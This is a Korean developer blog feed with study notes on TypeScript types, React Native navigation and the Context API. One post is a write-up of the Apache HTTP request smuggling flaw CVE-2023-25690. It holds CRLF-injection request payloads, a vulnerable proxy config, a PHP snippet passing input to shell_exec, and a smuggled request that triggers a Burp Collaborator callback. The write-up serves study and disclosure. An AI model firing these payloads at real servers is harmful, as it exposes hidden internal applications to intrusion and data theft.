<pre><code class="language-ts">// before : 객체 만들 때마다 계속 같은 코드를 반복적으로 씀
const playerA : {
    name: string,
    age?: number // age?: number | undefined;
}
} = {
    name: &quot;mkcyb&quot;
}
const playerB : {
    name: string,
    age?: number // age?: number | undefined;
}
} = {
    name: &quot;MKKMK&quot;,
     age: 10
}



// after: 코드 단축
type Player = {
    name: string,
    age?:number
}

const a : Player = {
    name: &quot;mkcyb&quot;
}
const b : Player = {
    name: &quot;mk&quot;
    age: 10
}</code></pre>
<h3 id="return-type-설정">return type 설정</h3>
<pre><code class="language-ts">type Player = {
    name: string,
    age?:number
}

function playerMaker(name: string) : Player { // string을 인자로 받고, Player type을 return
    return {
        name
    }
}

const mk = playerMaker(&quot;mk&quot;)

mk.age=10</code></pre>
<pre><code class="language-ts">type Player = {
    name: string,
    age?:number
}

const playerMaker = (name: string) : Player =&gt; ({name}) // 화살표 함수도 같은 방식으로 콜론 씀

const mk = playerMaker(&quot;mk&quot;)

mk.age=10</code></pre>
<h3 id="-콜론-사용법">: (콜론) 사용법</h3>
<ol>
<li>변수 뒤에 (let a :)</li>
<li>argument 뒤에 (function playerMaker(name: string))</li>
<li>함수명 뒤에 (function playerMaker(name: string) : Player)</li>
</ol>
]]></description>
        </item>
        <item>
            <title><![CDATA[[리액트 네이티브] 8장 내비게이션 (2)]]></title>
            <link>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-8%EC%9E%A5-%EB%82%B4%EB%B9%84%EA%B2%8C%EC%9D%B4%EC%85%98-2</link>
            <guid>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-8%EC%9E%A5-%EB%82%B4%EB%B9%84%EA%B2%8C%EC%9D%B4%EC%85%98-2</guid>
            <pubDate>Mon, 22 Jan 2024 13:48:17 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>처음 배우는 리액트 네이티브 - 김범준</p>
</blockquote>
<h1 id="8장-내비게이션">8장 내비게이션</h1>
<h2 id="83-탭-내비게이션">8.3 탭 내비게이션</h2>
<p>탭 내비게이션은 보통 화면 위나 아래에 위치
탭 버튼을 누르면 버튼과 연결된 화면으로 이동하는 방식
다음 명령어로 추가 라이브러리 설치</p>
<pre><code>npm install @react-navigation/bottom-tabs</code></pre><h3 id="831-화면-구성">8.3.1 화면 구성</h3>
<p><strong>src/screens/TabScreens.js</strong></p>
<pre><code class="language-js">import React from &quot;react&quot;;
import styled from &#39;styled-components/native&#39;;

const Container = styled.View`
    flex: 1;
    justify-content: center;
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
`;

export const Mail = () =&gt; {
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;Mail&lt;/StyledText&gt;
        &lt;/Container&gt;
    );
};

export const Meet = () =&gt; {
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;Meet&lt;/StyledText&gt;
        &lt;/Container&gt;
    );
};

export const Settings = () =&gt; {
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;Settings&lt;/StyledText&gt;
        &lt;/Container&gt;
    );

};
</code></pre>
<p><strong>src/navigations/Tab.js</strong></p>
<pre><code class="language-js">import React from &quot;react&quot;;
import { createBottomTabNavigator } from &quot;@react-navigation/bottom-tabs&quot;;
import { Mail, Meet, Settings } from &quot;../screens/TabScreens&quot;;

const Tab = createBottomTabNavigator();

const TabNavigation = () =&gt; {
    return (
        &lt;Tab.Navigator&gt;
            &lt;Tab.Screen name=&quot;Mail&quot; component={Mail} /&gt;
            &lt;Tab.Screen name=&quot;Meet&quot; component={Meet} /&gt;
            &lt;Tab.Screen name=&quot;Settings&quot; component={Settings} /&gt;
        &lt;/Tab.Navigator&gt;
    );
};

export default TabNavigation;
</code></pre>
<p><code>createBottomTabNavigator()</code>를 이용해 탭 내비게이션 생성
Navigator 컴포넌트, Screen 컴포넌트가 있음</p>
<p>App.js 에 추가</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/8d67eb3c-06d4-4c1b-88e0-d2e766c4ed6d/image.png" alt=""></p>
<p>탭 바 순서 변경하고 싶으면 <code>initialRouteName</code> 속성 이용</p>
<h3 id="832-탭-바-수정하기">8.3.2 탭 바 수정하기</h3>
<p><strong>버튼 아이콘 설정</strong>
버튼 아이콘 렌더링: <code>tabBarIcon</code> 이용. color, size, focused 값을 포함한 객체가 파라미터로 전달됨</p>
<pre><code class="language-js">...
import { MaterialCommunityIcons } from &#39;@expo/vector-icons&#39;;

const TabIcon = ({ name, size, color }) =&gt; {
    return &lt;MaterialCommunityIcons name={name} size={size} color={color} /&gt;
}

const Tab = createBottomTabNavigator();

const TabNavigation = () =&gt; {
    return (
        &lt;Tab.Navigator&gt;
            &lt;Tab.Screen 
            name=&quot;Mail&quot; 
            component={Mail}
            options={{
                tabBarIcon: props =&gt; TabIcon({ ...props, name: &#39;email&#39;}),
            }} 
            /&gt;
            &lt;Tab.Screen 
            name=&quot;Meet&quot; 
            component={Meet}
            options={{
                tabBarIcon: props =&gt; TabIcon({ ...props, name: &#39;video&#39;}),
            }} 
            /&gt;
            &lt;Tab.Screen 
            name=&quot;Settings&quot; 
            component={Settings} 
            options={{
                tabBarIcon: props =&gt; TabIcon({ ...props, name: &#39;cog&#39;}),
            }}
            /&gt;
        &lt;/Tab.Navigator&gt;
    );
};
...</code></pre>
<p>Screen 컴포넌트마다 tabBarIcon에 MaterialCommunityIcons 컴포넌트를 반환하는 함수를 지정함
<img src="https://velog.velcdn.com/images/mk-cyb/post/bea7513b-e44e-4457-9278-767a2d4152d1/image.png" alt=""></p>
<p>Screen 컴포넌트마다 아이콘을 지정하지 않고 한 곳에서 몸든 버튼의 아이콘을 관리하고 싶을 경우 Navigator 컴포넌트의 <code>screenOprions</code> 속성을 사용해서 관리</p>
<p><strong>라벨 수정</strong>
<code>tabBarLabel</code>을 이용해서 변경가능
라벨을 아이콘 옆에 렌더링하고 싶으면 <code>tabBarOptions</code>의 <code>labelPosition</code>의 값을 변경해서 조정 가능</p>
<pre><code class="language-js">tabBarOptions={{ labelPosition: &#39;beside-icon&#39; }}</code></pre>
<p>라벨을 렌더링 하지 않고 아이콘만 사용하는 경우 <code>showLabel</code>을 사용</p>
<pre><code class="language-js">tabBarOptions={{ labelPosition: &#39;beside-icon&#39;, showLabel: false }}</code></pre>
<p><strong>스타일 수정</strong></p>
<p>탭 바 배경색은 흰색이 기본값
<code>tabBarOptions</code>의 <code>style</code>의 값으로 스타일 객체를 설정하여 조정 가능</p>
<pre><code class="language-js">tabBarOptions={{ 
               labelPosition: &#39;beside-icon&#39;, 
               showLabel: false,
               style: {
                   backgroundColor: &#39;#54b7f9&#39;,
                borderTopColor: &#39;#fff&#39;,
                   borderTopWidth: 2,
              }
              }}</code></pre>
<p>아이콘 색상 변경
선택되어 활성화 상태의 색: <code>activeTintColor</code>
선택되지 않은 비활성화 상태의 색: <code>inactiveTintColor</code></p>
<pre><code class="language-js">tabBarOptions={{ 
               labelPosition: &#39;beside-icon&#39;, 
               showLabel: false,
               style: {
                   backgroundColor: &#39;#54b7f9&#39;,
                borderTopColor: &#39;#fff&#39;,
                   borderTopWidth: 2,
              },
                  activeTintColor: &#39;#fff&#39;,
                inactiveTintColor: &#39;#0b92e9&#39;,
              }}</code></pre>
<p>focused 상태에 따라 다른 아이콘 렌더링</p>
<pre><code class="language-js">...
const TabNavigation = () =&gt; {
    return (
            ...
            &lt;Tab.Screen 
            name=&quot;Meet&quot; 
            component={Meet}
            options={{
                tabBarIcon: props =&gt; 
                     TabIcon({
                     ...props,
                     name: props.focuesd ? &#39;video&#39; : &#39;vidieo-outline&#39;,
                    }),
            }} 
            ...
    );
};
...</code></pre>
<p>+) 드로어 내비게이션: 메뉴를 감춰서 공간을 절약</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[리액트 네이티브] 8장 내비게이션 (1)]]></title>
            <link>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-8%EC%9E%A5-%EB%82%B4%EB%B9%84%EA%B2%8C%EC%9D%B4%EC%85%98-1</link>
            <guid>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-8%EC%9E%A5-%EB%82%B4%EB%B9%84%EA%B2%8C%EC%9D%B4%EC%85%98-1</guid>
            <pubDate>Sun, 21 Jan 2024 17:13:01 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>처음 배우는 리액트 네이티브 - 김범준 </p>
</blockquote>
<h1 id="8장-내비게이션">8장 내비게이션</h1>
<h2 id="81-리액트-내비게이션">8.1 리액트 내비게이션</h2>
<p>리액트 내비게이션 종류 3가지: 스택, 탭, 드로어</p>
<h3 id="811-내비게이션의-구조">8.1.1 내비게이션의 구조</h3>
<ul>
<li>NavigationContainer 컴포넌트: 내비게이션 계층구조와 상태를 관리하는 컨테이너 역할, 모든 내비게이션 구성요소를 감싼 최상위 컴포넌트</li>
<li>Navigator 컴포넌트: 화면을 관리하는 중간 관리자 역할</li>
<li>Screen 컴포넌트: 화면으로 사용되는 컴포넌트로 name 과 속성 지정, navigation과 route가 props 로 전달됨</li>
</ul>
<h3 id="812-설정-우선-순위">8.1.2 설정 우선 순위</h3>
<p>속성 수정 방법 3가지</p>
<ul>
<li>Navigatior 컴포넌트의 속성으로 수정: 모든 자식 컴포넌트에 적용</li>
<li>Screen 컴포넌트의 속성으로 수정</li>
<li>화면으로 사용되는 컴포넌트의 props로 전달되는 navigation 이용해서 수정</li>
</ul>
<p>작은 범위의 설정일수록 우선순위가 높음</p>
<h3 id="813-설치">8.1.3 설치</h3>
<pre><code>npm install --save @react-navigation/native</code></pre><pre><code>expo install react-native-gesture-handler react-native-reanimated reac
t-native-screens react-native-safe-area-context @react-native-community/masked-view</code></pre><h2 id="82-스택-내비게이션">8.2 스택 내비게이션</h2>
<pre><code>npm install @react-navigation/stack</code></pre><p>현재 화면에 다른 화면을 쌓으면서 화면을 이동하는 것이 특징
화면 위에 새로운 화면을 쌓으면서 (push) 이동하므로 화면을 pop 해서 이전 화면으로 돌아갈 수 있음</p>
<h3 id="821-화면-구성">8.2.1 화면 구성</h3>
<p><strong>src/screens/Home.js</strong></p>
<pre><code class="language-js">import React from &quot;react&quot;;
import { Button } from &#39;react-native&#39;;
import styled from &#39;styled-components/native&#39;;

const Container = styled.View`
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
    margin-bottom: 10px;
`;

const Home = () =&gt; {
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;Home&lt;/StyledText&gt;
            &lt;Button title=&quot;go to the list screen&quot; /&gt;
        &lt;/Container&gt;
    );
};

export default Home;</code></pre>
<p>화면을 확인하기 위한 텍스트와 List 화면으로 이동하기 위한 버튼</p>
<p><strong>src/screens/List.js</strong></p>
<pre><code class="language-js">import React from &quot;react&quot;;
import { Button } from &#39;react-native&#39;;
import styled from &#39;styled-components/native&#39;;

const Container = styled.View`
    flex: 1;
    justify-content: center;
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
    margin-bottom: 10px;
`;

const items = [
    { _id: 1, name: &#39;React Native&#39; },
    { _id: 2, name: &#39;React Navigation&#39; },
    { _id: 3, name: &#39;mk&#39; },
];

const List = () =&gt; {
    const _onPress = item =&gt; {};
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;List&lt;/StyledText&gt;
            {items.map(item =&gt; (
                &lt;Button
                key={item._id}
                title={item.name}
                onPress={() =&gt; _onPress(item)}
                /&gt;
            ))}

        &lt;/Container&gt;
    );
};

export default List;</code></pre>
<p>화면에서 사용할 목록</p>
<p><strong>src/screens/Item.js</strong></p>
<pre><code class="language-js">import React from &quot;react&quot;;
import styled from &#39;styled-components/native&#39;;

const Container = styled.View`
    flex: 1;
    justify-content: center;
    align-items: center;
`;

const StyledText = styled.Text`
    font-size: 30px;
    margin-bottom: 10px;
`;

const Item = () =&gt; {
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;Item&lt;/StyledText&gt;            
        &lt;/Container&gt;
    );
};

export default Item;</code></pre>
<p>목록의 상세 정보 보여주는 컴포넌트</p>
<p><strong>src/navigations/Stack.js</strong></p>
<pre><code class="language-js">import React from &quot;react&quot;;
import { createStackNavigator } from &quot;@react-navigation/stack&quot;;
import Home from &quot;../screens/Home&quot;;
import List from &quot;../screens/List&quot;;
import Item from &quot;../screens/Item&quot;;

const Stack = createStackNavigator();

const StackNavigation = () =&gt; {
    return(
        &lt;Stack.Navigator&gt;
            &lt;Stack.Screen name=&quot;Home&quot; component={Home} /&gt;
            &lt;Stack.Screen name=&quot;List&quot; component={List} /&gt;
            &lt;Stack.Screen name=&quot;Item&quot; component={Item} /&gt;
        &lt;/Stack.Navigator&gt;
    );
};

export default StackNavigation;</code></pre>
<ul>
<li>createStackNavigator 함수를 이용해서 스택 내비게이션 생성</li>
<li>Screen 컴포넌트와 Screen을 관리하는 Navigator 컴포넌트로 구성</li>
<li>Screen 컴포넌트의 component 속성으로 아까 만든 컴포넌트를 넣음</li>
<li>Screen 의 name은 반드시 서로 다른 값을 가져야함</li>
</ul>
<p><strong>src/App.js</strong></p>
<pre><code class="language-js">import React from &#39;react&#39;;
import { NavigationContainer } from &#39;@react-navigation/native&#39;;
import StackNavigation from &#39;./navigations/Stack&#39;;

const App = () =&gt; {
    return (
    &lt;NavigationContainer&gt;
        &lt;StackNavigation /&gt;
    &lt;/NavigationContainer&gt;
    );
};

export default App;</code></pre>
<p>NavigationContainer 컴포넌트로 감싸줌</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/f1d7bb04-2a8e-43f4-bfba-cff95a2cb4e2/image.png" alt=""></p>
<p>스택 내비게이션에서 첫 번째로 나오는 화면은 Navigator 컴포넌트의 첫 번째 자식 Screen 컴포넌트
다른 컴포넌트를 먼저 보여주고 싶으면 <code>initialRouteName</code> 속성을 지정해줄 수 있음</p>
<h3 id="822-화면-이동">8.2.2 화면 이동</h3>
<p>Screen의 component로 지정된 컴포넌트는 navigation이 props로 전달됨
navigate() 를 이용해서 원하는 화면으로 이동 가능</p>
<p><strong>src/screens/Home.js</strong></p>
<pre><code class="language-js">...
const Home = ({ navigation }) =&gt; {
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;Home&lt;/StyledText&gt;
            &lt;Button 
            title=&quot;go to the list screen&quot;
            onPress={() =&gt; navigation.navigate(&#39;List&#39;)}
            /&gt;
        &lt;/Container&gt;
    );
};
...</code></pre>
<p>navigation 에 navigate 함수를 이용해서 원하는 화면의 이름을 전달하면 해당 화면으로 이동
name 값 중 하나를 입력</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/21bc7676-7fab-435e-8113-2736237d41ea/image.png" alt=""></p>
<p><strong>src/screens/List.js</strong></p>
<pre><code class="language-js">...
const List = ({ navigation }) =&gt; {
    const _onPress = item =&gt; {
        navigation.navigate(&#39;Item&#39;, {id: item._id, name: item.name });
    };
...</code></pre>
<p>목록을 클릭하면 정보와 함께 Item 화면으로 이동
Item 화면으로 이동하면서 id 와 name을 함께 전달
props로 전달되는 route의 params를 통해 확인 가능</p>
<p><strong>src/screens/Item.js</strong></p>
<pre><code class="language-js">...
const Item = ({route}) =&gt; {
    return (
        &lt;Container&gt;
            &lt;StyledText&gt;Item&lt;/StyledText&gt;
            &lt;StyledText&gt;ID: {route.params.id}&lt;/StyledText&gt;     
            &lt;StyledText&gt;Name: {route.params.name}&lt;/StyledText&gt;                 
        &lt;/Container&gt;
    );
};
...</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/cc4ec281-eb9e-4afd-bad2-60c49c85e574/image.png" alt=""></p>
<h3 id="823-화면-배경색-수정">8.2.3 화면 배경색 수정</h3>
<p>리액트 내비게이션의 설정을 수정하여 변경 가능
<code>cardStyle</code> 을 이용하면 스택 내비게이션의 화면 배경색 수정 가능
배경색은 Navigator 컴포넌트의 screenOptions에 설정해서 화면 전체에 적용되도록 하는게 편리함
<strong>Stack.js</strong></p>
<pre><code class="language-js">        &lt;Stack.Navigator
            screenOptions={{ cardStyle: {backgroundColor: &#39;#fff4e6&#39;} }}
        &gt;
            ...
        &lt;/Stack.Navigator&gt;</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/669c5a6f-4b38-4650-8a54-1e7a3fdf6485/image.png" alt=""></p>
<h3 id="824-헤더-수정하기">8.2.4 헤더 수정하기</h3>
<p><strong>타이틀</strong>
타이틀은 name 속성을 기본으로 사용
headerTitle을 사용해서 수정</p>
<p><strong>스타일</strong>
헤더의 스타일을 수정하는 속성</p>
<ul>
<li>headerStyle: 헤더의 배경색 등 수정</li>
<li>headerTitleStyle: 헤더의 타이틀 컴포넌트 스타일 수정</li>
</ul>
<pre><code class="language-js">        &lt;Stack.Navigator
            screenOptions={{ 
                cardStyle: {backgroundColor: &#39;#fff4e6&#39;},
                headerStyle: {
                    height: 110,
                    backgroundColor: &#39;#4b3832&#39;,
                },
                headerTitleStyle: { color: &#39;#fff4e6&#39; },
            }}

        &gt;
            ...
        &lt;/Stack.Navigator&gt;</code></pre>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/96210bed-a92b-4482-8c78-6cdd81fc78a0/image.png" alt=""></p>
<p><strong>타이틀 컴포넌트</strong>
headerTitle 옵션에 컴포넌트를 반환하는 함수를 지정해서 컴포넌트 교체 가능</p>
<p><strong>버튼 수정하기</strong>
등등</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[Apache HTTP Request Smuggling Vulnerability CVE-2023-25690]]></title>
            <link>https://velog.io/@mk-cyb/Apache-HTTP-Request-Smuggling-Vulnerability-CVE-2023-25690</link>
            <guid>https://velog.io/@mk-cyb/Apache-HTTP-Request-Smuggling-Vulnerability-CVE-2023-25690</guid>
            <pubDate>Sun, 21 Jan 2024 11:35:44 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>Apache HTTP Request Smuggling Vulnerability CVE-2023-25690 문서를 해석하고 정리해보았다.</p>
</blockquote>
<h1 id="apache-http-request-smuggling-vulnerability-cve-2023-25690"><strong>Apache HTTP Request Smuggling Vulnerability CVE-2023-25690</strong></h1>
<p><strong>Severity:High</strong></p>
<h2 id="개념-정리">개념 정리</h2>
<h3 id="http-request-smuggling">HTTP Request Smuggling</h3>
<p>여러 개의 HTTP 요청이 서버나 프록시에서 잘못 처리되어 공격자가 의도하지 않은 작업을 수행하도록 하는 기술</p>
<p>주로 여러 HTTP 요청이 동일한 연결(Connection)을 통해 전송될 때 발생 </p>
<p>이 때, 각 요청의 헤더(Content-Length 등)를 잘못 계산하거나 해석함으로써 공격자는 서버나 프록시에서 의도하지 않은 효과를 얻을 수 있음</p>
<h3 id="proxy">proxy</h3>
<p>중간 서버 역할</p>
<p><strong>캐싱:</strong></p>
<ul>
<li>프록시는 이전에 받은 응답을 저장하여 동일한 요청에 대해 캐시된 응답을 제공</li>
<li>서버에 대한 부하를 줄이고 응답 시간을 단축</li>
</ul>
<h3 id="http-request-splitting">HTTP Request Splitting</h3>
<p>웹 서버가 해석하는 HTTP 요청을 여러 개의 요청으로 분리하여 처리하도록 유도하는 공격</p>
<p>공격자는 여러 개의 HTTP 요청이 하나의 요청으로 해석되는 상황을 만들어낼 수 있다. 공격의 핵심은 HTTP 헤더를 특정한 방식으로 조작하여 여러 요청을 나누는 것</p>
<p><strong>example</strong></p>
<ol>
<li><strong>원래의 HTTP 요청:</strong></li>
</ol>
<pre><code class="language-bash">GET /path HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0</code></pre>
<ol>
<li><strong>Request Splitting을 이용한 공격:</strong></li>
</ol>
<pre><code class="language-bash">GET /path HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0

Injected-Header: Evil-Request
Content-Length: 0

GET /malicious-path HTTP/1.1
Host: attacker.com
User-Agent: Mozilla/5.0</code></pre>
<p><strong><code>Injected-Header</code></strong>와 <strong><code>Content-Length</code></strong>를 이용하여 원래의 요청을 두 개의 요청으로 나누었다.</p>
<h3 id="crlfcarriage-return-line-feed-injection">CRLF(Carriage Return Line Feed) Injection</h3>
<p>공격자가 입력 데이터에 제어 문자인 CRLF 문자열을 삽입하여 응용프로그램의 동작을 변경하거나 공격자에게 유리한 상황을 만들어내는 공격</p>
<p>CRLF 문자열은 캐리지 리턴 (<strong><code>\r</code></strong>)과 라인 피드 (<strong><code>\n</code></strong>)로 이루어져 있다. 이 문자열은 텍스트 기반 프로토콜에서 줄 바꿈을 나타내는데 사용. 주로 HTTP 헤더의 종료와 새로운 헤더의 시작을 나타내는 데 사용되기 때문에, CRLF Injection은 HTTP 헤더 인젝션 공격으로도 알려져 있다.</p>
<h2 id="취약점-개요">취약점 개요</h2>
<p>아파치 HTTP 서버 버전(2.4.0에서 2.4.55까지)에서는 mod_proxy 모듈의 특정 구성이 HTTP Request Smuggling 공격을 허용할 수 있다. 이 취약점은 mod_proxy가 활성화되어 있고 RewriteRule 또는 ProxyPassMatch와 함께 사용될 때 발생. 특히, RewriteRule이나 ProxyPassMatch에서 사용자가 제공한 요청-대상(URL) 데이터의 일부를 비구체적인 패턴과 일치시키고, 그 후에 해당 패턴이 변수 대체를 통해 프록시된 요청-대상으로 다시 삽입될 때 영향을 받음</p>
<h3 id="lab-structure">lab structure</h3>
<pre><code class="language-bash">lab/
├── backend
│   ├── Dockerfile
│   └── src
│       ├── categories.php
│       └── index.php
├── docker-compose.yml
└── frontend
    ├── Dockerfile
    └── httpd.conf</code></pre>
<h3 id="httpdconf">httpd.conf</h3>
<pre><code class="language-bash">ErrorLog &quot;/usr/local/apache2/logs/error.log&quot;
CustomLog &quot;/usr/local/apache2/logs/access.log&quot; common

# Load necessary modules 
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so

&lt;VirtualHost *:80&gt;

    RewriteEngine on
    RewriteRule &quot;^/categories/(.*)&quot; &quot;http://192.168.10.100:8080/categories.php?id=$1&quot; [P]
    ProxyPassReverse &quot;/categories/&quot; &quot;http://192.168.10.100:8080/&quot;

&lt;/VirtualHost&gt;</code></pre>
<p>설정 설명</p>
<pre><code class="language-php">    RewriteEngine on
    RewriteRule &quot;^/categories/(.*)&quot; &quot;http://192.168.10.100:8080/categories.php?id=$1&quot; [P]
    ProxyPassReverse &quot;/categories/&quot; &quot;http://192.168.10.100:8080/&quot;</code></pre>
<p><strong>RewriteEngine on:</strong></p>
<ul>
<li><strong><code>RewriteEngine on</code></strong>은 Apache 설정에 포함되어 있어 URL 재작성 엔진을 활성화 함. URL 재작성은 클라이언트 브라우저가 요청한 URL을 서버가 콘텐츠를 제공하기 전에 동적으로 다른 URL로 변경할 수 있게 하는 기술</li>
</ul>
<p><strong>RewriteRule:</strong></p>
<ul>
<li>다음과 같은 Apache 구성 파일에서 <strong><code>RewriteRule &quot;^/categories/(.*)&quot; &quot;http://example-shop.com:8080/categories?id=$1&quot; [P]</code></strong>과 같은 RewriteRule 지시문이 있다고 가정</li>
<li>이 규칙은 &quot;/categories/&quot;로 시작하는 URL에 일치하며, 정규 표현식 <strong><code>^/categories/(.*)</code></strong>를 사용하여 값을 캡처</li>
<li>그런 다음 규칙은 URL을 <strong><code>http://example-shop.com:8080/categories?id=1</code></strong>로 변경하고 캡처한 값을 query parameter로 추가</li>
</ul>
<p><strong>[P] 플래그:</strong></p>
<ul>
<li><strong><code>[P]</code></strong> 플래그는 Apache에게 수정된 URL을 프록시 요청으로 처리하라고 지시</li>
</ul>
<p><strong>ProxyPassReverse:</strong></p>
<ul>
<li><strong><code>ProxyPassReverse /categories/ http://example-shop.com:8080/</code></strong>은 백엔드 서버의 도메인과 경로를 프록시 서버의 도메인과 경로로 대체</li>
</ul>
<h3 id="internal-http-request-smuggling-via-header-injection"><strong>Internal HTTP Request Smuggling via Header Injection</strong></h3>
<pre><code class="language-bash">GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/SMUGGLED HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36</code></pre>
<p>이렇게 요청 url 을 변경하면 \r\n 이 추가되어 새로운 헤더로 인식하게 됨</p>
<ul>
<li><strong><code>%20</code></strong> : 공백(space)</li>
<li><strong><code>%0d</code></strong> : 캐리지 리턴 (<strong><code>\r</code></strong>)</li>
<li><strong><code>%0a</code></strong> : 라인 피드 (<strong><code>\n</code></strong>)</li>
</ul>
<pre><code class="language-bash">GET /categories.php?id=1 HTTP/1.1
Host: localhost

GET /SMUGGLED HTTP/1.1
Host: backend</code></pre>
<p>이렇게 두 개의 요청으로 나뉘어지게 됨</p>
<p>만약 내부 코드에 이런 secret 코드가 있었다면:</p>
<pre><code class="language-php">#Internal secret functionality
if(isset($_GET[&#39;secret&#39;])){
    $secret = $_GET[&#39;secret&#39;];

    shell_exec(&#39;nslookup &#39; . $secret);
}</code></pre>
<pre><code class="language-bash">GET /categories/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/categories.php%3fsecret%3dq0r2dkj0pyl5o0c5ydcptklbi2otci.burpcollaborator.net HTTP/1.1
Host: 192.168.1.103
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36</code></pre>
<p>이런 요청을 보내서 숨겨진 기능을 사용할 수 있음</p>
<p>burp collaborator에서 요청 확인 가능</p>
<h2 id="영향">영향</h2>
<p>이 취약성의 영향은 공격자가 역방향 프록시에 의해 숨겨져야 하는 내부 응용프로그램을 대상으로 하고 액세스할 수 있도록 하여 무단 액세스, 데이터 유출 또는 추가 공격으로 이어질 가능성이 있다.</p>
<h2 id="references">references</h2>
<hr>
<ul>
<li><a href="https://github.com/dhmosfunk/CVE-2023-25690-POC">https://github.com/dhmosfunk/CVE-2023-25690-POC</a></li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[리액트 네이티브] 7장 Context API]]></title>
            <link>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-7%EC%9E%A5-Context-API</link>
            <guid>https://velog.io/@mk-cyb/%EB%A6%AC%EC%95%A1%ED%8A%B8-%EB%84%A4%EC%9D%B4%ED%8B%B0%EB%B8%8C-7%EC%9E%A5-Context-API</guid>
            <pubDate>Sat, 20 Jan 2024 08:05:32 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p>처음 배우는 리액트 네이티브 - 김범준</p>
</blockquote>
<h1 id="7장-context-api">7장 Context API</h1>
<h2 id="71-전역-상태-관리">7.1 전역 상태 관리</h2>
<p>Context API를 이용하면 Context를 생성해 필요한 컴포넌트에서 데이터를 바로 받아올 수 있음
props로 데이터 전달 시 App &gt; A &gt; B &gt; D 
이렇게 중간 과정을 거치지 않고 Context를 생성해 바로 원하는 컴포넌트로 데이터 전달</p>
<h2 id="72-context-api">7.2 Context API</h2>
<p><strong>기본 형태</strong></p>
<pre><code class="language-js">const Context = createContext(defaultValue);</code></pre>
<h3 id="721-consumer">7.2.1 Consumer</h3>
<p><strong>src/contexts/User.js</strong></p>
<pre><code class="language-js">import { createContext } from &quot;react&quot;;

const UserContext = createContext({ name: &#39;mk&#39; });

export default UserContext;</code></pre>
<p>기본 값으로 mk가 설정됨</p>
<p><strong>src/components/User.js</strong></p>
<pre><code class="language-js">import React from &quot;react&quot;;
import styled from &quot;styled-components/native&quot;;
import UserContext from &quot;../contexts/User&quot;;

const StyledText = styled.Text`
    font-size: 24px;
    margin: 10px;
`;

const User = () =&gt; {
    return (
        &lt;UserContext.Consumer&gt;
            {value =&gt; &lt;StyledText&gt;Name: {value.name}&lt;/StyledText&gt;}
        &lt;/UserContext.Consumer&gt;
    );
};

export default User;</code></pre>
<p>Consumer</p>
<ul>
<li>상위 컴포넌트 중 가장 가까운 곳에 있는 Provider 컴포넌트가 전달하는 데이터를 이용</li>
<li>Provider가 없으면 createContext 함수 파라미터 값인 기본값을 사용</li>
<li>Consumer 컴포넌트의 자식은 반드시 리액트 컴포넌트를 반환하는 함수여야함</li>
<li>함수는 Context의 현재값을 파라미터로 전달받아 데이터를 사용</li>
</ul>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/6cdb1cd0-7879-4f0a-9a7d-73ad18d8bab0/image.png" alt=""></p>
<h3 id="722-provider">7.2.2 Provider</h3>
<pre><code class="language-js">const App = () =&gt; {
    return (
    &lt;UserContext.Provider value={{ name: &#39;mkcyb&#39; }}&gt;
        &lt;Container&gt;
            &lt;User /&gt;
        &lt;/Container&gt;
    &lt;/UserContext.Provider&gt;
    );
};</code></pre>
<p>Provider</p>
<ul>
<li><p>하위 컴포넌트에 Context의 변화를 알리는 역할</p>
</li>
<li><p>Provider 컴포넌트는 value를 받아서 모든 하위 컴포넌트에 전달, 자식 컴포넌트는 Provider 컴포넌트의 value가 변경될 때마다 다시 렌더링</p>
</li>
<li><p>Provider 컴포넌트로부터 value를 전달받는 하위 컴포넌트 수 제한 x</p>
</li>
<li><p>Provider 컴포넌트를 사용할 때 반드시 value를 지정해야 함</p>
</li>
<li><p>Consumer 컴포넌트는 가장 가까운 Provider 컴포넌트가 전달하는 값을 사용</p>
</li>
</ul>
